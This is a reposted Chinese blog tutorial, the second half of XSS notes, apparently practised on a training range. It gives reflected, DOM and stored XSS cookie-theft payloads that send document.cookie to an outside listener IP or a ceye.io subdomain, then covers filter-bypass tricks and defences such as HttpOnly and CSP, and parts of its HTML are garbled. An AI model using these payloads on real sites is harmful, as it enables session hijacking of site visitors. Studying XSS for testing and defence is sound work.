这是XSS笔记下半部分,因为可能字数原因,注意回顾上半部分;
作者:博客园-狐小妖
实战模拟
靶场: https://xss.haozi.me/
反射型xss
我们获得一个编辑框,我们在编辑框中,或者请求参数里面提交xss语句,我们这里要盗取cookie,可以借用一个平台: https://xss.pt/
创建一个项目,然后所有功能都勾选上,然后我们复制项目这一句粘贴到编辑框中;
其实也可以在自己服务器上开启监听,然后在编辑框中输入:
document.location='http://39.108.189.85:1084/?cookie='+document.cookie;
提交成功之后我们就可以回到xss平台上查看我们获得的数据了,点击项目
dom型xss
如果不想使用xss平台,而是想使用传到我们自己服务器上的方法,那我们先开启监听
然后在编辑框中输入:(39.108.189.85:1084是我们自己服务器的地址;39.108.189.85:1085是目标服务器地址)
document.location='http://39.108.189.85:1084/?cookie='+document.cookie;
也可以使用ceye.io平台,前面有说过:
然后复制的粘贴改成下面这样:
document.location='http://dmv1so.ceye.io?cookie='+document.cookie
粘贴到目标服务器的编辑框中,提交:
回到ceye.io,刷新:
存储型xss
如果是黑客将上方代码插入到过滤不严谨的留言区、评论区,所有访问到插入代码的数据位置的人,cookie都将会被转发到黑客指定的服务器上,这样黑客就可以利用你的cookie去登录该站点了;
因为插入的代码将会一直被存储在服务器的数据库中,而有人翻看留言区、评论区等都有可能浏览到黑客插入代码的地方,当只要被请求到本地,那么cookie就会被转发到黑客服务器上;
作者:博客园-狐小妖
xss绕过
- 闭合标签绕过
- 、 闭合
- value等元素属性闭合
- 注释闭合
- 绕过小括号、双引号、单引号
- 利用反引号
</li> </ul> </li> <li>编码绕过(利用实体编码、unicode编码绕过)<ul> <li><img alt="" src="x" /> 属性内可以识别html实体编码 +</li> </ul> </li> <li>混淆绕过(利用html语法不严格、容错性)</li> <li>换行</li> <li>缺失>闭合的标签</li> <li>空格、TAB</li> <li>关键字绕过</li> <li>大小写绕过</li> <li>编码绕过</li> </ul> <pre><code class="language-js"> (实体编码绕过) alert(1) </code></pre> <ul> <li>字符拼接</li> </ul> <pre><code class="language-js"> top["al"+"ert"](1); </code></pre> <ul> <li>空格绕过</li> <li>利用/代替空格</li> </ul> <pre><code class="language-js"> </code></pre> <ul> <li>编码绕过(利用实体编码、unicode编码绕过)</li> </ul> <pre><code class="language-js"> 属性内可以识别html实体编码 alert(1) 遵循XML 和 SVG 的定义 </code></pre> <ul> <li>利用eval等方法绕过;<a href="https://www.cnblogs.com/huxiaoyao/p/16414815.html">作者:博客园-狐小妖</a></li> </ul> <pre><code class="language-js">eval.call
${‘alert\x281)’}prompt.call
${1}img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> </code></pre> <ul> <li>可控点在标签内部的绕过</li> <li>当某个可控点在标签内部,那么可以利用事件绕过</li> </ul> <pre><code class="language-js"> </code></pre> <ul> <li>标签属性支持javascript:协议</li> </ul> <p>
防御xss方法
- 对输入和URL参数进行过滤
- 限制输入数据长度
- 对输入数据格式进行验证(纯数字、符合邮箱、用户名格式)
- 过滤、删除危险字符
- 对输出进行编码
- php使用htmlspeicalchars()函数,输出实体编码
- 设置HttpOnly 防止cookie被js盗取
- session.cookie_httponly=1
- 设置CSP
- CSP:Content Security Policy(内容安全策略),其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明,来指定可信的
- 针对于jsonp防御
- 设置Content-Type为application/json
- 利用htmlspecialchars()等方法过滤或转译参数
Original: https://www.cnblogs.com/huxiaoyao/p/16414815.html
Author: 狐小妖
Title: XSS攻击笔记(下)
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/602821/
转载文章受原作者版权保护。转载请注明原作者出处!